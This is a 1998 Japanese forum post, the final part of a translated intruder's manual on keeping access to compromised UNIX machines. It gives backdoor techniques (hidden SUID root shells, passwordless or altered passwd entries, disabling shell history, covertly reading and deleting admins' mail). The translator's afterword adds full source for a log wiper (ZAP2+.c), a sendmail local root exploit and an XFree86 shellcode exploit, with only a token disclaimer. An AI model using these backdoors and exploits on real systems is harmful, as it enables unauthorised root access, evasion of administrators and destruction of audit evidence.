お子様 UNIX 第8部


お終い 投稿者:soujinin  投稿日:03月12日(木)

   ====================   お子様 UNIX   第8部  ====== 最終回 ========

------------------------------
第7章  アクセスを続ける
Chapter 7
Keeping access to the machine
------------------------------
マシンにアクセスを続けるたくさんの方法がある。君が失うアクセスが多ければ多い
ほど、学ぶ事も多いだろう。しかし、私はこのマニュアルといくつかの経験で君が安
定したハッカーになることを願っている。

---------------------------
セクション7A  常套手段
Section 7A
Tricks of the trade
---------------------------
マシンへのアクセスを続けるためのいくつかの常套手段がある。
システム管理者が君に気がついたら、彼らは君を監視するだろう。彼らはできる
限りのバイナリーファイルを再コンパイルし、すべてのパスワードを変える、君
のホストからの接続を拒否する、passwd や shadow を調べる、SUID ファイルを
探す....

もし、君が見つかったと分かったら、システムにアクセスしようとしてはいけない。
私は、彼らがアクセスを続けるために置いたトロイ、他のアカウント、他の裏口を
試した直後に捕まるのを見てきた。考えてみる....彼らは君を監視している....
君がシステムに持っているすべてのもの、exploits ファイルを彼らに示す事になる。

待つ !  2〜3カ月後、彼らはすべて正常だと考えるだろう。そしてリラックスする。
その時、君は彼らが見過ごした裏口から入ることができるだろう。戻ってくるため
にシステムに作っておいたすべての企てを試す。

OK, ここにいくつかの常套手段(Tricks of the trade)がある。

ヒストリーファイル
History Files:
--------------
編集したことが確かでなければ、常に .bash_history を /dev/null にリンクする。
 .bash_history はログオフするまでのコマンドを残すことを忘れてはいけない。
シェルを変えて、これを編集したいかもしれない。しかし、それは苦痛だ。
ただ、/dev/null にセットする。
  1. もし .bash_history がそのディレクトリにあれば、消す。
  2. ln -s /dev/null .bash_history をタイプする。

ディレクトリのネスト
Nested directory:
-----------------
いつもファイルを隠せるディレクトリを探す。たいていユーザーが入ってこない、いく
つかの良い場所がシステムにある。

ユーザーのホームディレクトリで .term を探す。これがあれば、そのディレクトリに
termrc という実行ファイルがある。ユーザーと管理者は、まずこのディレクトリには
入ってこない。もし入ってきて、termrc というファイルを見てどう思うか?  そう。
何も思わない。それは、そこにあったと思う。

少し大きな termrc を作るとしよう。そして、SUID にする...意味がわかるかな?
理解してくれていると良いが... このようにする。 /bin ディレクトリに行く。
            cp bash ~username/.term/termrc
それから、
          : chown root ~username/.term/termrc
          : chgrp root ~username/.term/termrc
          : chmod +s ~username/.term/termrc

これでいつでもシステムの root になれるファイルができた。しかし、これを管理者が
見つけるのは簡単ではない。さらに、ファイルの日付を touch して古いファイルに合
わせておくと良い。
 .elm、.term、 Mail なども使えるだろう。'...' というディレクトリを試しても
良い。これがどのように見えるか。 ls -l で見ると、

1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
 509 Mar 02  1996 .bash_history
  22 Feb 20  1996 .forward
 164 May 18  1996 .kermrc
  34 Jun 06  1993 .less
 114 Nov 23  1993 .lessrc
1024 May 18  1996 .term
1024 May 19  1996 public_html

ちょうどいい場所に収まるだろう?
これは ls ではこのように見える。

1024 May 19  1996 public_html

常に誰も入ってこないようなディレクトリを探す事を忘れずに。
そして、それをネストした自分のディレクトリとして使う。
そこに '...' のようなディレクトリを作っても良い。


新しいコマンドを作る
Making new commands
--------------------
md5 が使われているかどうか cron をチェックした後で、exploits をシステムの他の
ファイルにコピーするか、決して使われないコマンドに上書きする。もし、新しいファ
イルにコピーするなら、日付を touch する事。長続きはしないだろう。なぜなら、遅
かれ早かれパッチが当てられる。そうなれば新しく作ったコマンドはもはや動かない。

shell を新しいファイルにしたほうが良い。そしてそれを suid にする。


パスワードエントリの追加と変更
Adding or changing passwd entry's
---------------------------------
もう一つの裏口(backdoor)は新しいユーザーをパスワードファイルに追加する。
これには、そこにあったように見せる注意が必要だ。追加したパスワードでログ
インしてはいけない。それはアクセスできなくなった時のためのバックアップだ。

別の考え方もある。root アカウントは目を引くので作りたくない。必要なときに
いつでも root になれる。では、やってみよう...

我々は我々のアカウントを最初からそこにあるようにしたい。そこで、ファイルの
先頭部分はいじらない。

root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash

このパスワードファイルを見ると、いくつかの選択ができそうだ。
それをリストしてみよう。

1. oparater,ftp,postmaster の行を見る。これらはシェルを持ち、パスワードが
   セットされていない。シェルからこのようにタイプする。
   passwd postmaster

  Enter だけ押してこのアカウントをノーパスワードにする。このアカウントには
  パスワードなしでログインできる。そしてこのファイルは依然として管理者には
  正しいようにみえる。

2. パスワードファイルにこの行を加える。
  syst::13:12:system:/var/spool:/bin/bash

これをファイルの自然な場所に置く。後から passwd syst で root のシェルから
セットするために、:: としておく。グループとidは好きなものでよい。

3. sync に注目する。
  sync:*:5:0:sync:/sbin:/bin/sync

このように変える。
  sync:*:5:0:sync:/sbin:/bin/bash 

それから passwd sync を行いパスワードを消す。(あるいはセットする)
このアカウントで我々は gid=0 だ。


ゲームをインストールする
Installing games
----------------
すでにゲームがインストールされていたら、doom や abuse をインストールする事
ができる。これらのゲームは root の獲得に利用できる。


常に監視する
Always be watching
------------------
システムの管理者が誰であるか、常に知っておかなければならない。パスワードフ
ァイルや uid、group を調べる。そして常に bash_history を読んで誰が管理者コ
マンドを使っているか調べる。ヒストリーファイルからは、知らなかったコマンド
など学ぶ事が多い。システムの誰が誰だか知りたいだろう。システムを良く理解す
る。su を使っているユーザーを探す。ログファイルを調べて誰が管理者コマンド
を使うかチェックする。

常にシステムを監視する。誰がシステムにいるか見逃さないように。管理者どのコ
マンドを使っているかヒストリーを調べる。ttysnoops? 多すぎるps ? ps や w
の後の finger はシステムのユーザーが何をしているか監視する時によく使う。
管理者を監視して、彼らがユーザーの何に注意しているか理解する。


システムのメールを読む
Reading system mail
------------------------
最初に決してシステムのメールプログラムを使ってはいけない事を思い出す。
それは彼らにメールを読んだ事を知らせる。私はこのようにする ...

1. cd /var/spool/mail
これは未読メールや未送メールのディレクトリだ。このようにする。

grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more

それから必要なら pico ユーザー名、それから CTRL+W で自分のメッセージを探す。
もし他の管理者が、そのユーザーがハックされていると知らせているなら、消す事
もできる。

メールのポインタを更新しないメールリーダーがある。
http://obsidian.cse.fau.edu/~fc

これは最後にメールを読んだ日付を変更せずに  /var/spool/mail を cat する。
すなわち、メールを読んだことがわからない。
またユーザーのディレクトリのシステムメールを探す事もできる。/root の中も調
べる事を忘れないように。/root/mail や ユーザー名/mail やメールに関するディ
レクトリを調べる。

Happy Hunting ...


       ----------------------------------------------------------

[訳者後記]
この著者も書いているように、これはコインの両面です。こっそりお邪魔する
のも、させないのも、結局同じ事を考えるワケです。OCN で安く自前のサイト
を立てる事ができますが、ちゃんと管理しておかないと、知らないうちに巨大
ファイル置き場になったり、陸地アタックや涙攻撃の前線基地になっているか
もしれません。ネットワークの一員として他のサイトに迷惑をかけないように。
アナタが払っているお金は、プロバイダや NTTに払っているわけで、その後、
世界中に回してくれるのは、  

  「ほとんどボランティアみたいなもの」

だという事を忘れてはいけません...
それよりも何よりも、そんな事されたら、

  「気分的にすごく悔しい!」  でしょ。

ところで、ここででてくるワザは、アナタの Linuxマシンで使えましたか?
え、使えた。アナタ、古い CD付きの本からインストールしたままですね。
(もしかして、Kernel 2.0.0 以下?)
新しいディストリビューションを使っている人は大丈夫でしたね。きっと。
それでは、面白くなかったでしょうから、少し新しめの実験ファイルを載せ
ておきます。Linuxerは楽しんで下さい。
新しい CD-ROMパッケージでインストールしていても、たぶんうまくいく。
(と思う...)


//  ZAP がうまく行かなかったら、これを使う。
//  utmp,wtmp,lastlog の位置を確認してからコンパイルする。

====== CUT =====
/***************************  ZAP2+.c ***/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>

#define bzero(x, y) memset(x, 0, y)

int f;
 kill_tmp(name,who,whom)
char *name,
     *who,
     *whom;
{
    struct utmp utmp_ent,utmp_new;

  if ((f=open(name,O_RDWR))>=0) {
     while(read (f, &utmp_new, sizeof (utmp_new))> 0 )
       if (!strncmp(utmp_new.ut_name,whom,strlen(whom)))
       {
        printf("ut_line :%s\n",utmp_new.ut_line);
     close(f);
     }

  }


  if ((f=open(name,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
       strncpy(utmp_ent.ut_user,whom,8);
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int  argc;
char *argv[];
{
    if (argc==3) {
        kill_tmp("/etc/utmp",argv[1],argv[2]);
        kill_tmp("/usr/adm/wtmp",argv[1],argv[2]);
        kill_lastlog(argv[1]);
printf("The Lone Wolf Strikes ......!\n");
printf("%s changed to %s  ......!\n",argv[1],argv[2]);
    } else
       {   printf("Usage: filename uid_to_be_replaced required_uid.\n");
           exit(1);
       }
}
====== CUT =====


//  sendmail を利用して、/tmp に suid された sh を作る。JEからsendmailを
//  入れていたら、まだ使えるはず..
//  ついでに、これを行うとログに何が残るか調べておきましょう。

====== CUT =====
#/bin/sh
#
#
#                                   Hi !
#                This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                                Have fun !
#
#
#                           ----------------------
#               ---------------------------------------------
#    -----------------   Dedicated to my beautiful lady   ------------------
#               ---------------------------------------------
#                           ----------------------
#
#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c
#
#
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
  ./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
echo "Now type:   /tmp/sh"
====== CUT =====


//  これは、Xのバグを利用したもので、文字列の最後に /bin/sh なんてありますね。
//  最近、この手の奴はよく見掛けるでしょ。たぶん、これで root が獲れる。

====== CUT =====
        /*  XFree86 Server exploit for Intel x86  */
        /*  Have phun!!                           */

/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2

#include <string.h>
#include <unistd.h>
#include <errno.h>

#define LENCODE ( sizeof( Code ) )
char Code[] =
    "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
    "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
    "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
    "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
    "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";

char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };

main() {
  printf("pHEAR - XFree86 exploit\nby mAChnHEaD <quenelle@iname.com>\n\nYou may get a root prompt now. If you don't, try different values for OFFSET.\n\n");
  dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
  __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
  memcpy( ptr + 4, ptr, 0x3fc );
  memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
  memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
  execve( "/usr/X11R6/bin/X", args, args + 3 );
  perror( "execve" );
}
====== CUT =====

いかがでしたか? 楽しんでいただけましたか?
プロンプトが、bash $ から bash # に変わる瞬間は、何度見ても
ドキドキしますねぇ。でも、root としての typo...  タイプミス
がどんな結果になるかは、決して忘れてはいけませんぞ。

       ----------------------------------------------------------

//  この物語はすべてフィクションです。
//  くれぐれもマネしないように.. 



  お子様UNIX 関連サイト 
 =======================
ニュースの検索 DEJA NEWS      http://web2.dejanews.com/
Kernel 一次配布サイト         ftp://ftp.cs.helsinki.fi/pub/Software/Linux/Kernel/
Linux Security-jp ML検索      http://www.3ware.co.jp/archives/
RedHat社 Security             http://www/redhat.com/linux-info/Security/
CERT ツール                   ftp://ftp.cert.org/pub/cert_advisory/
CERT 勧告                     ftp://ftp.cert.org/pub/tools/
NIST(米国立標準技術研究所)    http://cs.www.ncsl.nist.gov/tools.htm
パーデュ大学                  http://www/cs.purdue.edu/coast/archive/data/
IPA(情報処理振興事業協会)     http://www.ipa.go.jp/SECURITY/

実験用 exploits を入手するサイトは、たくさんあります....
ここでも何度か紹介されているので、調べてみてください。

          Stay Out of Trouble.. HASTA!



                           Mar. 1998  CopyLeft 1998〜 
   ********************   お子様 UNIX   第1巻  *********** 終わり ********